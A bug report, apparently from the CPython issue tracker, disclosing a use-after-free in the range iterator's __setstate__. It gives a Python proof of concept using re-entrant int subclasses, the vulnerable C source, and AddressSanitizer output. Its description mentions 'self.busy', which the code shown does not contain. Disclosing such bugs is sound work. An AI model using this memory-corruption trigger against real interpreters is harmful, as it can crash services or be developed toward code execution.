Skip to content

Use-after-free in range iterator __setstate__ via re-entrant __mul__ #143197

@jackfromeast

Description

@jackfromeast

What happened?

longrangeiter_setstate clips the stale index by assigning state = r->len without taking a new reference. The PoC replaces r->len with a custom int subclass whose __mul__ re-enters __setstate__, and the inner call swaps r->len for a plain int and decrefs the old object. When control returns to the outer frame it still writes to self.busy on the freed subclass, triggering a use-after-free.

Proof of Concept:

# shrinked version
it = iter(range(1 << 65))

class Evil(int):
    def __mul__(self, _):
        it.__setstate__(0)
        return 0

class Injector(int):
    def __rsub__(self, _):
        return Evil(10)

it.__setstate__(Injector(0))
it.__setstate__(20)
Affected Versions
Python Version Status Exit Code
Python 3.9.24+ (heads/3.9:111bbc15b26, Oct 28 2025, 16:51:20) OK 0
Python 3.10.19+ (heads/3.10:014261980b1, Oct 28 2025, 16:52:08) [Clang 18.1.3 (1ubuntu1)] OK 0
Python 3.11.14+ (heads/3.11:88f3f5b5f11, Oct 28 2025, 16:53:08) [Clang 18.1.3 (1ubuntu1)] OK 0
Python 3.12.12+ (heads/3.12:8cb2092bd8c, Oct 28 2025, 16:54:14) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.13.9+ (heads/3.13:9c8eade20c6, Oct 28 2025, 16:55:18) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.14.0+ (heads/3.14:2e216728038, Oct 28 2025, 16:56:16) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 19:29:54) [GCC 13.3.0] ASAN 1
Vulnerable Code
static PyObject *
longrangeiter_setstate(PyObject *op, PyObject *state)
{
    longrangeiterobject *r = (longrangeiterobject*)op;
    PyObject *zero = _PyLong_GetZero();  // borrowed reference
    int cmp;

    /* clip the value */
    cmp = PyObject_RichCompareBool(state, zero, Py_LT);
    if (cmp < 0)
        return NULL;
    if (cmp > 0) {
        state = zero;
    }
    else {
        cmp = PyObject_RichCompareBool(r->len, state, Py_LT);
        if (cmp < 0)
            return NULL;
        if (cmp > 0)
            /* Bug: Cache the runtime object ptr without increasing its reference. */
            state = r->len;
    }
    PyObject *product = PyNumber_Multiply(state, r->step);
    if (product == NULL)
        return NULL;
    PyObject *new_start = PyNumber_Add(r->start, product);
    Py_DECREF(product);
    if (new_start == NULL)
        return NULL;
    
    PyObject *new_len = PyNumber_Subtract(r->len, state);
    if (new_len == NULL) {
        Py_DECREF(new_start);
        return NULL;
    }
    PyObject *tmp = r->start;
    r->start = new_start;
    Py_SETREF(r->len, new_len);
    Py_DECREF(tmp);
    Py_RETURN_NONE;
}
Sanitizer Output
=================================================================
==1942344==ERROR: AddressSanitizer: heap-use-after-free on address 0x5080000cd958 at pc 0x5cf7cd207671 bp 0x7ffc3984e920 sp 0x7ffc3984e910
READ of size 8 at 0x5080000cd958 thread T0
    #0 0x5cf7cd207670 in _Py_TYPE Include/object.h:277
    #1 0x5cf7cd207670 in Py_IS_TYPE Include/object.h:302
    #2 0x5cf7cd207670 in binary_op1 Objects/abstract.c:947
    #3 0x5cf7cd207777 in binary_op Objects/abstract.c:1005
    #4 0x5cf7cd20ad3a in PyNumber_Subtract Objects/abstract.c:1126
    #5 0x5cf7cd3320c1 in longrangeiter_setstate Objects/rangeobject.c:1070
    #6 0x5cf7cd25d473 in method_vectorcall_O Objects/descrobject.c:476
    #7 0x5cf7cd23de7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #8 0x5cf7cd23df72 in PyObject_Vectorcall Objects/call.c:327
    #9 0x5cf7cd4bc056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #10 0x5cf7cd4ffe54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #11 0x5cf7cd500148 in _PyEval_Vector Python/ceval.c:2001
    #12 0x5cf7cd5003f8 in PyEval_EvalCode Python/ceval.c:884
    #13 0x5cf7cd5f7507 in run_eval_code_obj Python/pythonrun.c:1365
    #14 0x5cf7cd5f7723 in run_mod Python/pythonrun.c:1459
    #15 0x5cf7cd5f857a in pyrun_file Python/pythonrun.c:1293
    #16 0x5cf7cd5fb220 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #17 0x5cf7cd5fb4f6 in _PyRun_AnyFileObject Python/pythonrun.c:81
    #18 0x5cf7cd64c74d in pymain_run_file_obj Modules/main.c:410
    #19 0x5cf7cd64c9b4 in pymain_run_file Modules/main.c:429
    #20 0x5cf7cd64e1b2 in pymain_run_python Modules/main.c:691
    #21 0x5cf7cd64e842 in Py_RunMain Modules/main.c:772
    #22 0x5cf7cd64ea2e in pymain_main Modules/main.c:802
    #23 0x5cf7cd64edb3 in Py_BytesMain Modules/main.c:826
    #24 0x5cf7cd0d2645 in main Programs/python.c:15
    #25 0x7176a1c2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #26 0x7176a1c2a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #27 0x5cf7cd0d2574 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x2dd574) (BuildId: 202d5dbb945f6d5f5a66ad50e2688d56affd6ecb)

0x5080000cd958 is located 56 bytes inside of 96-byte region [0x5080000cd920,0x5080000cd980)
freed by thread T0 here:
    #0 0x7176a20fc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
    #1 0x5cf7cd30496d in _PyMem_RawFree Objects/obmalloc.c:91
    #2 0x5cf7cd306cd9 in _PyMem_DebugRawFree Objects/obmalloc.c:2955
    #3 0x5cf7cd306d1a in _PyMem_DebugFree Objects/obmalloc.c:3100
    #4 0x5cf7cd32f06c in PyObject_Free Objects/obmalloc.c:1522
    #5 0x5cf7cd56dcf7 in PyObject_GC_Del Python/gc.c:2435
    #6 0x5cf7cd2b1f3a in long_dealloc Objects/longobject.c:3668
    #7 0x5cf7cd367663 in subtype_dealloc Objects/typeobject.c:2852
    #8 0x5cf7cd2fb481 in _Py_Dealloc Objects/object.c:3200
    #9 0x5cf7cd56392f in Py_DECREF_MORTAL Include/internal/pycore_object.h:450
    #10 0x5cf7cd5639e5 in PyStackRef_XCLOSE Include/internal/pycore_stackref.h:736
    #11 0x5cf7cd564a86 in _PyFrame_ClearLocals Python/frame.c:101
    #12 0x5cf7cd564c7e in _PyFrame_ClearExceptCode Python/frame.c:126
    #13 0x5cf7cd4a8bcd in clear_thread_frame Python/ceval.c:1826
    #14 0x5cf7cd4acc31 in _PyEval_FrameClearAndPop Python/ceval.c:1850
    #15 0x5cf7cd4f34c9 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:10403
    #16 0x5cf7cd4ffe54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #17 0x5cf7cd500148 in _PyEval_Vector Python/ceval.c:2001
    #18 0x5cf7cd23d9b8 in _PyFunction_Vectorcall Objects/call.c:413
    #19 0x5cf7cd35056b in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #20 0x5cf7cd350680 in vectorcall_unbound Objects/typeobject.c:3033
    #21 0x5cf7cd36cef4 in vectorcall_maybe Objects/typeobject.c:3130
    #22 0x5cf7cd370819 in slot_nb_multiply Objects/typeobject.c:10397
    #23 0x5cf7cd207613 in binary_op1 Objects/abstract.c:966
    #24 0x5cf7cd20bc64 in PyNumber_Multiply Objects/abstract.c:1170
    #25 0x5cf7cd33204d in longrangeiter_setstate Objects/rangeobject.c:1063
    #26 0x5cf7cd25d473 in method_vectorcall_O Objects/descrobject.c:476
    #27 0x5cf7cd23de7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #28 0x5cf7cd23df72 in PyObject_Vectorcall Objects/call.c:327
    #29 0x5cf7cd4bc056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620

previously allocated by thread T0 here:
    #0 0x7176a20fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x5cf7cd305284 in _PyMem_RawMalloc Objects/obmalloc.c:63
    #2 0x5cf7cd304655 in _PyMem_DebugRawAlloc Objects/obmalloc.c:2887
    #3 0x5cf7cd3046bd in _PyMem_DebugRawMalloc Objects/obmalloc.c:2920
    #4 0x5cf7cd305f3b in _PyMem_DebugMalloc Objects/obmalloc.c:3085
    #5 0x5cf7cd32ef28 in PyObject_Malloc Objects/obmalloc.c:1493
    #6 0x5cf7cd36103b in _PyObject_MallocWithType Include/internal/pycore_object_alloc.h:46
    #7 0x5cf7cd36103b in _PyType_AllocNoTrack Objects/typeobject.c:2504
    #8 0x5cf7cd3611c7 in PyType_GenericAlloc Objects/typeobject.c:2535
    #9 0x5cf7cd2c00a1 in long_subtype_new Objects/longobject.c:6047
    #10 0x5cf7cd2bfd4a in long_new_impl Objects/longobject.c:5986
    #11 0x5cf7cd2c0474 in long_new Objects/clinic/longobject.c.h:69
    #12 0x5cf7cd364d4e in tp_new_wrapper Objects/typeobject.c:10142
    #13 0x5cf7cd2f11a4 in cfunction_call Objects/methodobject.c:564
    #14 0x5cf7cd23dc71 in _PyObject_MakeTpCall Objects/call.c:242
    #15 0x5cf7cd23df19 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:167
    #16 0x5cf7cd23df72 in PyObject_Vectorcall Objects/call.c:327
    #17 0x5cf7cd4bc056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #18 0x5cf7cd4ffe54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #19 0x5cf7cd500148 in _PyEval_Vector Python/ceval.c:2001
    #20 0x5cf7cd23d9b8 in _PyFunction_Vectorcall Objects/call.c:413
    #21 0x5cf7cd240b54 in _PyObject_VectorcallDictTstate Objects/call.c:135
    #22 0x5cf7cd240f79 in _PyObject_Call_Prepend Objects/call.c:504
    #23 0x5cf7cd355dcc in slot_tp_new Objects/typeobject.c:10853
    #24 0x5cf7cd364346 in type_call Objects/typeobject.c:2448
    #25 0x5cf7cd23dc71 in _PyObject_MakeTpCall Objects/call.c:242
    #26 0x5cf7cd23df19 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:167
    #27 0x5cf7cd23df72 in PyObject_Vectorcall Objects/call.c:327
    #28 0x5cf7cd4bc056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #29 0x5cf7cd4ffe54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #30 0x5cf7cd500148 in _PyEval_Vector Python/ceval.c:2001

SUMMARY: AddressSanitizer: heap-use-after-free Include/object.h:277 in _Py_TYPE
Shadow bytes around the buggy address:
  0x5080000cd680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x5080000cd700: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x5080000cd780: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x5080000cd800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x5080000cd880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x5080000cd900: fa fa fa fa fd fd fd fd fd fd fd[fd]fd fd fd fd
  0x5080000cd980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x5080000cda00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x5080000cda80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x5080000cdb00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x5080000cdb80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1942344==ABORTING

Metadata

Metadata

Assignees

No one assigned

    Labels

    interpreter-core(Objects, Python, Grammar, and Parser dirs)type-crashA hard crash of the interpreter, possibly with a core dump

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions